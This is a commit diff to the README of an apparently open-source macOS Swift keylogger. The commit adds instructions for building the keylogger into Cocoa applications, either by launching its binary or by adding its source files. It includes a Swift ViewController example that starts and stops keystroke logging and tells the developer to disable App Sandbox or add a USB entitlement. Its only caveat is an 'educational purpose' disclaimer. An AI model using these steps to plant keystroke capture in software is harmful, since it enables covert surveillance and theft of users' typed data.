Add how to add keylogger to cocoa apps

Author: SkrewEverything

README.md

@@ -1,4 +1,4 @@
-# macOS Keylogger
+# macOS Swift-Keylogger
 
 [![Backers on Open Collective](https://opencollective.com/Swift-Keylogger/backers/badge.svg)](#backers) [![Sponsors on Open Collective](https://opencollective.com/Swift-Keylogger/sponsors/badge.svg)](#sponsors) [![Swift 4.0](https://img.shields.io/badge/Swift-4.0-orange.svg)]()
 
@@ -10,7 +10,6 @@ So, I don't want to keep checking about the availability of their APIs and chang
 
 Most of the keyloggers available only log keystrokes into a file without much information about on which app the keystrokes are generated.
 
->Note: This keylogger doesn't capture secure input fields like passwords due to [`EnableSecureEventInput`](https://developer.apple.com/library/content/technotes/tn2150/_index.html)
 
 ## Usage
 
@@ -50,11 +49,74 @@ By default, it creates a folder where the executable is present.
 To change the path edit `bundlePathURL` in `Keylogger.swift`
 ##### All the data is grouped according to day in each folder.
 
+## Integrating Swift-Keylogger with Cocoa App
+
+There are 2 ways:
+
+1. Using the executable(By using `Process` to call the external binaries from Cocoa App).
+2. Using source code in your App without the need for external binary
+
+### Using executable
+> NOTE: The documentation of Apple has been constantly changing since the release of Swift. So, I just wanted to give the basic idea of this method without providing the code to avoid updating this part of the code frequently.
+
+1. Clone it and build the project by yourself or download the already built binary from the releases page. 
+2. Use [`Process`](https://developer.apple.com/documentation/foundation/process) to run the external binary from your app.
+3. **NOTE: Don't use [`waitUntilExit()`](https://developer.apple.com/documentation/foundation/process/1415808-waituntilexit) or similar methods which can block the execution of the main UI to run the keylogger!**
+
+### Using Source code
+
+**1.** Add `Keylogger.swift` and `CallBackFunctions.swift` files to your project.
+
+**2.** Initialize the Keylogger as a static variable and use `start()` and `stop()` to start and stop the keylogger.
+
+#### Example of ViewController.swift
+```swift
+import Cocoa
+
+
+class ViewController: NSViewController {
+
+    // Initialize the Keylogger
+    static var k = Keylogger()
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+
+        // Do any additional setup after loading the view.
+    }
+
+    override var representedObject: Any? {
+        didSet {
+        // Update the view, if already loaded.
+        }
+    }
+
+    // A button to start the keylogger
+    @IBAction func start(_ sender: Any) {
+        ViewController.k.start()
+    }
+    
+    // A button to stop the keylogger
+    @IBAction func stop(_ sender: Any) {
+        ViewController.k.stop()
+    }
+}
+```
+
+**3.** Now, to run it without any problems, turn off the **APP SANDBOX**. If you want to use **APP SANDBOX**, then add the following to your entitlements:
+
+```
+com.apple.security.device.usb = YES
+```
+
+
 ## Disclaimer
 If the use of this product causes the death of your firstborn or anyone, I'm not responsible ( no warranty, no liability, etc.)
 
 For technical people: It is only for educational purpose.
 
+>Note: This keylogger doesn't capture secure input fields like passwords due to [`EnableSecureEventInput`](https://developer.apple.com/library/content/technotes/tn2150/_index.html)
+
 
 ## Contributing